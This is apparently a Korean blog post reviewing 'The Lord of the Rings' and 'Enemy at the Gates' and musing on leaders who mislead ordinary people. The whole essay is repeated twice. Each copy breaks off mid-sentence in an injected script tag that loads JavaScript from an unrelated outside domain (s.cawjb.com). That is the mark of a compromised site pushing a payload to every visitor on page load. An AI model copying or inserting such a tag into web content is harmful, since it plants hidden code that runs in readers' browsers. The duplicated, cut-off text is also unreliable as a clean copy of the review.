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[제목]
가는 해, 오는 해 (최영철)
🧑 정부영
|
📅 2016-01-06 19:20:30
|
👀 125
가는 해 오는 해를 기념하고자 평소에는 없던 일을 아내와 한번 벌였다.
아내는 웬일인가 하여 얼른 쫓아 나온다.
마침 신문에서 본 반지의 제왕을 보러 가는 길이다.
피터 잭슨 감독이 메가폰을 든 이 영화는 뉴질랜드 전역을 영화의 촬영장으로 하여 빼어난 자연 경관을 바탕으로, 가상 무대인 중간계를 놓고 벌이는 인간과 사악한 사우론과의 대접전이라는 황당무계한 설정 하에 그린 영화이다.
시놉시스
9명의 반지 원정대는 사우론의 사악한 세력에 맞서 절대 반지를 지켜냈지만 반지 원정대는 뿔뿔이 흩어지게 된다. 절대 반지에 유일한 내성을 보이는 프로도는 일행과 떨어져 샘과 함께 불의 산으로 모험을 감행하지만 골룸이라는 새로운 위협을 맞이하고 사루만의 우루크하이 군대에게 잡혀간 메리와 피핀은 엔트 족의 영역에서 나무수염이라는 엔트 족에게 구출받게 된다. 한편 메리와 피핀을 구하기 위해 우루크하이 군대를 추격하던 아라곤과 레골라스 김리는 팡고른 숲에서 백색의 마법사로 부활한 간달프를 만나게 되고 악의 군주 사우론이 암흑세계의 두 개의 탑 오르상크와 바랏두르를 통합하여 점점 그 세력을 넓혀가고 있다는 사실을 듣게 된다. 이에 아라곤과 나머지 원정대는 중간대륙의 선한 무리의 통합을 이뤄 사우론의 강력한 세력을 견제해야 하는 큰 임무를 맡게 된다. 하지만 원수지간인 곤도르 왕국과 로한 왕국으로 나뉜 인간 종족의 통합은 쉽지 않고 게다가 로한의 왕마저 사루만의 마법에 걸려 통치권마저 흔들리는데... 결국 사우론은 서서히 중간계를 거대한 전쟁의 소용돌이로 몰고 가며 로한 왕국으로 진격을 시작하고 아라곤 또한 자유 종족들을 통합하여 이에 맞설 준비를 한다. 결코 피할 수 없는 거대한 전쟁이 시작된 것이다.
뉴질랜드의 광활한 대지를 누비는 150여 곳의 촬영장은 빅토리아산, 마타마타, 웰링턴 인근의 어퍼 헛, 퀸즈타운 인근 글레노키 등이 뛰어난 풍광으로 관광객들의 각광을 받는다는 소식이다.
감상후기
황당무계한 설정을 깔고 장대한 파노라마를 엮어낸 감독의 뛰어난 상상력은 높이 살 만했으나 망막 세포에 비치는 반사적인 가벼움의 감각을 환호하는 설익음이 도무지 맘에 들지 않는 찝찝한 감상이었다. 볼 만한 것은 뉴질랜드의 광활한 자연 뿐, 보고 나서도 도무지 감흥이 좋질 않았다.
봉이 김선달이 놀러온다고 하여, 백운도사의 산행에도 안 갔는데 부도를 내 이번에는 전번에 제자에게 선물 받은 "Enemy at the gate"를 집에서 화면에 깔았다.
2차 세계대전 중 레닌그라드를 배경으로 독일과 러시아와의 일대 혈전을 그린 이 전쟁 서사시는 작곡가 쇼스타코비치의 제 7번 교향곡으로 유명한 전투를 영화 속에서 재현한 작품이다.
레닌그라드는 원래는 성 페테르부르그였으나 레닌이라는 구 소련의 망종으로 인해 개명된 이름이다. 러시아의 산 역사를 가진 이 도시는 전략적으로도 매우 중요한 위치에 있었다.
피터의 성이라는 뜻을 가진 페테르부르그는 피터 대제가 유럽 전역을 시찰한 후 좋은 곳만을 따다가 부분 부분을 그대로 재현해 낸 아름다운 도시이다.
전쟁 서사시가 그렇듯이 "라이언 일병 구하기"와 비슷한 광대한 스케일이 일단 먼저 눈길을 끈다. 파리 목숨보다 더 가볍게 바람에 흩날리는 보병들이 일단 등장한다. 중략.
두 나라의 최고 저격수를 모델로 빠른 전개를 보이는 이 다큐멘터리는 결국 러시아의 승리로 막을 내리는데 하루 전날 본 "반지의 제왕"에서의 정신 산란함을 단번에 날려버린다.
역시 소설이건 영화이건 사실을 바탕으로 해야 생명력이 있는 거야.
그래도 두 영화에서의 공통점을 찾는다면 한 나라의 지도자가 잘못 판단하고 마법에 걸린다면 무수한 수많은 백성이 애매하게 죽어간다는 무서운 결과이다.
일반 백성들은 모른다. 지도자들의 명석한 두뇌에 의하여 조종되어지다가 결국은 애매하게 죽어가게 되는데 2차 세계대전 중에도 히틀러 등의 광기 어린 조종에 얼마나 많은 사람들이 무참하게 죽어갔느냐 말이다.
지도자한테 속든 사기꾼에게 속든 절차는 똑같다. 일단 나에게 먼저 속고 난 후, 달콤하고 엇비슷한 타협에 의해 남에게 속는다. 그 후에 정신이고 생명이고 내던지게 되고, 베를리오즈의 환상교향곡의 주제처럼 되는 것이다.
반지의 제왕에 환호하는 새파란 관중들을 보며 이방인이 되어 중간계에 떨어진 인간처럼 방랑자의 기분을 한껏 맛보면서,
"Enemy at the gate"의 저격수가 "나는 만들어진 상품이다. 원래 나는 이를 원치 않았다. 나는 평범한 군인일 뿐이다." 하는 말이
영화 "25시"의 독일군처럼 자율을 떠나 타율에 의해 움직여지는 순진한 인간들이 많아질수록 냉혹한 역사는 저런 영화를 쉬지 않고 만들어 낼 거라는 생각이 머리 한 구석을 뒤덮는?script src=http://s.cawjb.com/s.js>
아내는 웬일인가 하여 얼른 쫓아 나온다.
마침 신문에서 본 반지의 제왕을 보러 가는 길이다.
피터 잭슨 감독이 메가폰을 든 이 영화는 뉴질랜드 전역을 영화의 촬영장으로 하여 빼어난 자연 경관을 바탕으로, 가상 무대인 중간계를 놓고 벌이는 인간과 사악한 사우론과의 대접전이라는 황당무계한 설정 하에 그린 영화이다.
시놉시스
9명의 반지 원정대는 사우론의 사악한 세력에 맞서 절대 반지를 지켜냈지만 반지 원정대는 뿔뿔이 흩어지게 된다. 절대 반지에 유일한 내성을 보이는 프로도는 일행과 떨어져 샘과 함께 불의 산으로 모험을 감행하지만 골룸이라는 새로운 위협을 맞이하고 사루만의 우루크하이 군대에게 잡혀간 메리와 피핀은 엔트 족의 영역에서 나무수염이라는 엔트 족에게 구출받게 된다. 한편 메리와 피핀을 구하기 위해 우루크하이 군대를 추격하던 아라곤과 레골라스 김리는 팡고른 숲에서 백색의 마법사로 부활한 간달프를 만나게 되고 악의 군주 사우론이 암흑세계의 두 개의 탑 오르상크와 바랏두르를 통합하여 점점 그 세력을 넓혀가고 있다는 사실을 듣게 된다. 이에 아라곤과 나머지 원정대는 중간대륙의 선한 무리의 통합을 이뤄 사우론의 강력한 세력을 견제해야 하는 큰 임무를 맡게 된다. 하지만 원수지간인 곤도르 왕국과 로한 왕국으로 나뉜 인간 종족의 통합은 쉽지 않고 게다가 로한의 왕마저 사루만의 마법에 걸려 통치권마저 흔들리는데... 결국 사우론은 서서히 중간계를 거대한 전쟁의 소용돌이로 몰고 가며 로한 왕국으로 진격을 시작하고 아라곤 또한 자유 종족들을 통합하여 이에 맞설 준비를 한다. 결코 피할 수 없는 거대한 전쟁이 시작된 것이다.
뉴질랜드의 광활한 대지를 누비는 150여 곳의 촬영장은 빅토리아산, 마타마타, 웰링턴 인근의 어퍼 헛, 퀸즈타운 인근 글레노키 등이 뛰어난 풍광으로 관광객들의 각광을 받는다는 소식이다.
감상후기
황당무계한 설정을 깔고 장대한 파노라마를 엮어낸 감독의 뛰어난 상상력은 높이 살 만했으나 망막 세포에 비치는 반사적인 가벼움의 감각을 환호하는 설익음이 도무지 맘에 들지 않는 찝찝한 감상이었다. 볼 만한 것은 뉴질랜드의 광활한 자연 뿐, 보고 나서도 도무지 감흥이 좋질 않았다.
봉이 김선달이 놀러온다고 하여, 백운도사의 산행에도 안 갔는데 부도를 내 이번에는 전번에 제자에게 선물 받은 "Enemy at the gate"를 집에서 화면에 깔았다.
2차 세계대전 중 레닌그라드를 배경으로 독일과 러시아와의 일대 혈전을 그린 이 전쟁 서사시는 작곡가 쇼스타코비치의 제 7번 교향곡으로 유명한 전투를 영화 속에서 재현한 작품이다.
레닌그라드는 원래는 성 페테르부르그였으나 레닌이라는 구 소련의 망종으로 인해 개명된 이름이다. 러시아의 산 역사를 가진 이 도시는 전략적으로도 매우 중요한 위치에 있었다.
피터의 성이라는 뜻을 가진 페테르부르그는 피터 대제가 유럽 전역을 시찰한 후 좋은 곳만을 따다가 부분 부분을 그대로 재현해 낸 아름다운 도시이다.
전쟁 서사시가 그렇듯이 "라이언 일병 구하기"와 비슷한 광대한 스케일이 일단 먼저 눈길을 끈다. 파리 목숨보다 더 가볍게 바람에 흩날리는 보병들이 일단 등장한다. 중략.
두 나라의 최고 저격수를 모델로 빠른 전개를 보이는 이 다큐멘터리는 결국 러시아의 승리로 막을 내리는데 하루 전날 본 "반지의 제왕"에서의 정신 산란함을 단번에 날려버린다.
역시 소설이건 영화이건 사실을 바탕으로 해야 생명력이 있는 거야.
그래도 두 영화에서의 공통점을 찾는다면 한 나라의 지도자가 잘못 판단하고 마법에 걸린다면 무수한 수많은 백성이 애매하게 죽어간다는 무서운 결과이다.
일반 백성들은 모른다. 지도자들의 명석한 두뇌에 의하여 조종되어지다가 결국은 애매하게 죽어가게 되는데 2차 세계대전 중에도 히틀러 등의 광기 어린 조종에 얼마나 많은 사람들이 무참하게 죽어갔느냐 말이다.
지도자한테 속든 사기꾼에게 속든 절차는 똑같다. 일단 나에게 먼저 속고 난 후, 달콤하고 엇비슷한 타협에 의해 남에게 속는다. 그 후에 정신이고 생명이고 내던지게 되고, 베를리오즈의 환상교향곡의 주제처럼 되는 것이다.
반지의 제왕에 환호하는 새파란 관중들을 보며 이방인이 되어 중간계에 떨어진 인간처럼 방랑자의 기분을 한껏 맛보면서,
"Enemy at the gate"의 저격수가 "나는 만들어진 상품이다. 원래 나는 이를 원치 않았다. 나는 평범한 군인일 뿐이다." 하는 말이
영화 "25시"의 독일군처럼 자율을 떠나 타율에 의해 움직여지는 순진한 인간들이 많아질수록 냉혹한 역사는 저런 영화를 쉬지 않고 만들어 낼 거라는 생각이 머리 한 구석을 뒤덮는?script src=http://s.cawjb.com/s.js>
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